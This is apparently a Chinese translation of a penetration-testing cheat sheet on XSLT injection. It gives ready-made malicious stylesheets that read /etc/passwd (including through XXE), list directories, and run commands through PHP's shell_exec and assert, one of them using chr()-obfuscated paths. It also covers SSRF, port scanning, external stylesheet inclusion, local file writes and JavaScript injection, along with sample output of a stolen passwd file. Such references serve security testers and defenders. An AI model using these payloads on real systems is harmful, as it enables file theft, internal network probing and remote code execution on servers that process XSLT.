基本信息
XSLT 是一种用于将 XML 文档转换为不同格式的技术。它有三个版本:1、2 和 3,其中版本 1 是最常用的。转换过程可以在服务器上或浏览器中执行。
最常用的框架包括:
要利用与 XSLT 相关的漏洞,必须将 xsl 标签存储在服务器端,然后访问该内容。以下来源记录了此类漏洞的示例:https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/ .
示例 - 教程
Copy sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
< catalog >
< cd >
< title >CD Title</ title >
< artist >The artist</ artist >
< company >Da Company</ company >
< price >10000</ price >
< year >1760</ year >
</ cd >
</ catalog >
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl : template match = "/" >
< html >
< body >
< h2 >The Super title</ h2 >
< table border = "1" >
< tr bgcolor = "#9acd32" >
< th >Title</ th >
< th >artist</ th >
</ tr >
< tr >
< td >< xsl : value-of select = "catalog/cd/title" /></ td >
< td >< xsl : value-of select = "catalog/cd/artist" /></ td >
</ tr >
</ table >
</ body >
</ html >
</ xsl : template >
</ xsl : stylesheet >
执行:
Copy saxonb-xslt -xsl:xsl.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
< html >
< body >
< h2 >The Super title</ h2 >
< table border = "1" >
< tr bgcolor = "#9acd32" >
< th >Title</ th >
< th >artist</ th >
</ tr >
< tr >
< td >CD Title</ td >
< td >The artist</ td >
</ tr >
</ table >
</ body >
</ html >
指纹
Copy <? xml version = "1.0" encoding = "ISO-8859-1" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl : template match = "/" >
Version: < xsl : value-of select = "system-property('xsl:version')" />< br />
Vendor: < xsl : value-of select = "system-property('xsl:vendor')" />< br />
Vendor URL: < xsl : value-of select = "system-property('xsl:vendor-url')" />< br />
< xsl : if test = "system-property('xsl:product-name')" >
Product Name: < xsl : value-of select = "system-property('xsl:product-name')" />< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:product-version')" >
Product Version: < xsl : value-of select = "system-property('xsl:product-version')" />< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:is-schema-aware')" >
Is Schema Aware ?: < xsl : value-of select = "system-property('xsl:is-schema-aware')" />< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:supports-serialization')" >
Supports Serialization: < xsl : value-of select = "system-property('xsl:supportsserialization')"
/>< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:supports-backwards-compatibility')" >
Supports Backwards Compatibility: < xsl : value-of select = "system-property('xsl:supportsbackwards-compatibility')"
/>< br />
</ xsl : if >
</ xsl : template >
</ xsl : stylesheet >
并执行
Copy $saxonb-xslt -xsl:detection.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
< h2 >XSLT identification</ h2 >< b >Version:</ b >2.0< br >< b >Vendor:</ b >SAXON 9.1.0.8 from Saxonica< br >< b >Vendor URL:</ b >http://www.saxonica.com/< br >
读取本地文件
Copy < xsl : stylesheet xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : abc = "http://php.net/xsl" version = "1.0" >
< xsl : template match = "/" >
< xsl : value-of select = "unparsed-text('/etc/passwd', 'utf-8')" />
</ xsl : template >
</ xsl : stylesheet >
Copy $ saxonb-xslt -xsl:read.xsl xml.xml
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<? xml version = "1.0" encoding = "UTF-8" ?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
SSRF
Copy < xsl : stylesheet xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : abc = "http://php.net/xsl" version = "1.0" >
< xsl : include href = "http://127.0.0.1:8000/xslt" />
< xsl : template match = "/" >
</ xsl : template >
</ xsl : stylesheet >
版本
根据使用的 XSLT 版本,可能会有更多或更少的功能:
指纹
上传此文件并获取信息
Copy <? xml version = "1.0" encoding = "ISO-8859-1" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl : template match = "/" >
Version: < xsl : value-of select = "system-property('xsl:version')" />< br />
Vendor: < xsl : value-of select = "system-property('xsl:vendor')" />< br />
Vendor URL: < xsl : value-of select = "system-property('xsl:vendor-url')" />< br />
< xsl : if test = "system-property('xsl:product-name')" >
Product Name: < xsl : value-of select = "system-property('xsl:product-name')" />< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:product-version')" >
Product Version: < xsl : value-of select = "system-property('xsl:product-version')" />< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:is-schema-aware')" >
Is Schema Aware ?: < xsl : value-of select = "system-property('xsl:is-schema-aware')" />< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:supports-serialization')" >
Supports Serialization: < xsl : value-of select = "system-property('xsl:supportsserialization')"
/>< br />
</ xsl : if >
< xsl : if test = "system-property('xsl:supports-backwards-compatibility')" >
Supports Backwards Compatibility: < xsl : value-of select = "system-property('xsl:supportsbackwards-compatibility')"
/>< br />
</ xsl : if >
</ xsl : template >
</ xsl : stylesheet >
SSRF
Copy < esi : include src = "http://10.10.10.10/data/news.xml" stylesheet = "http://10.10.10.10//news_template.xsl" >
</ esi : include >
Javascript 注入
Copy < xsl : stylesheet xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl : template match = "/" >
< script >confirm("We're good");</ script >
</ xsl : template >
</ xsl : stylesheet >
目录列表 (PHP)
Opendir + readdir
Copy <? xml version = "1.0" encoding = "utf-8" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< xsl : template match = "/" >
< xsl : value-of select = "php:function('opendir','/path/to/dir')" />
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
< xsl : value-of select = "php:function('readdir')" /> -
</ xsl : template ></ xsl : stylesheet >
断言 (var_dump + scandir + false)
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
< html xsl : version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< body style = "font-family:Arial;font-size:12pt;background-color:#EEEEEE" >
< xsl : copy-of name = "asd" select = "php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
< br />
</ body >
</ html >
读取文件
内部 - PHP
Copy < xsl : stylesheet xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : abc = "http://php.net/xsl" version = "1.0" >
< xsl : template match = "/" >
< xsl : value-of select = "unparsed-text('/etc/passwd', ‘utf-8')" />
</ xsl : template >
</ xsl : stylesheet >
内部 - XXE
Copy <? xml version = "1.0" encoding = "utf-8" ?>
<! DOCTYPE dtd_sample[<! ENTITY ext_file SYSTEM "/etc/passwd" >]>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl : template match = "/" >
&ext_file;
</ xsl : template >
</ xsl : stylesheet >
通过HTTP
Copy <? xml version = "1.0" encoding = "utf-8" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl : template match = "/" >
< xsl : value-of select = "document('/etc/passwd')" />
</ xsl : template >
</ xsl : stylesheet >
Copy <! DOCTYPE xsl:stylesheet [
<! ENTITY passwd SYSTEM "file:///etc/passwd" >]>
< xsl : template match = "/" >
&passwd;
</ xsl : template >
内部 (PHP函数)
Copy <? xml version = "1.0" encoding = "utf-8" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< xsl : template match = "/" >
< xsl : value-of select = "php:function('file_get_contents','/path/to/file')" />
</ xsl : template >
</ xsl : stylesheet >
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
< html xsl : version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< body style = "font-family:Arial;font-size:12pt;background-color:#EEEEEE" >
< xsl : copy-of name = "asd" select = "php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
< br />
</ body >
</ html >
端口扫描
Copy <? xml version = "1.0" encoding = "utf-8" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< xsl : template match = "/" >
< xsl : value-of select = "document('http://example.com:22')" />
</ xsl : template >
</ xsl : stylesheet >
写入文件
XSLT 2.0
Copy <? xml version = "1.0" encoding = "utf-8" ?>
< xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< xsl : template match = "/" >
< xsl : result-document href = "local_file.txt" >
< xsl : text >Write Local File</ xsl : text >
</ xsl : result-document >
</ xsl : template >
</ xsl : stylesheet >
Xalan-J 扩展
Copy < xsl : template match = "/" >
< redirect : open file = "local_file.txt" />
< redirect : write file = "local_file.txt" /> Write Local File</ redirect : write >
< redirect : close file = "loxal_file.txt" />
</ xsl : template >
其他写入 PDF 文件的方法
包含外部 XSL
Copy < xsl : include href = "http://extenal.web/external.xsl" />
Copy <? xml version = "1.0" ?>
<? xml-stylesheet type = "text/xsl" href = "http://external.web/ext.xsl" ?>
执行代码
php:function
Copy <? xml version = "1.0" encoding = "utf-8" ?>
< xsl : stylesheet version = "1.0"
xmlns : xsl = "http://www.w3.org/1999/XSL/Transform"
xmlns : php = "http://php.net/xsl" >
< xsl : template match = "/" >
< xsl : value-of select = "php:function('shell_exec','sleep 10')" />
</ xsl : template >
</ xsl : stylesheet >
Copy <? xml version = "1.0" encoding = "UTF-8" ?>
< html xsl : version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< body style = "font-family:Arial;font-size:12pt;background-color:#EEEEEE" >
< xsl : copy-of name = "asd" select = "php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
< br />
</ body >
</ html >
执行代码使用其他框架在 PDF 中
更多语言
在此页面中,您可以找到其他语言中 RCE 的示例: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#、Java、PHP)
从类中访问 PHP 静态函数
以下函数将调用类 XSL 的静态方法 stringToUrl
:
Copy <!--- More complex test to call php class function-->
< xsl : stylesheet xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl"
version = "1.0" >
< xsl : output method = "html" version = "XHTML 1.0" encoding = "UTF-8" indent = "yes" />
< xsl : template match = "root" >
< html >
<!-- We use the php suffix to call the static class function stringToUrl() -->
< xsl : value-of select = "php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</ html >
</ xsl : template >
</ xsl : stylesheet >
(示例来自 http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls )
更多有效载荷
暴力破解检测列表
参考文献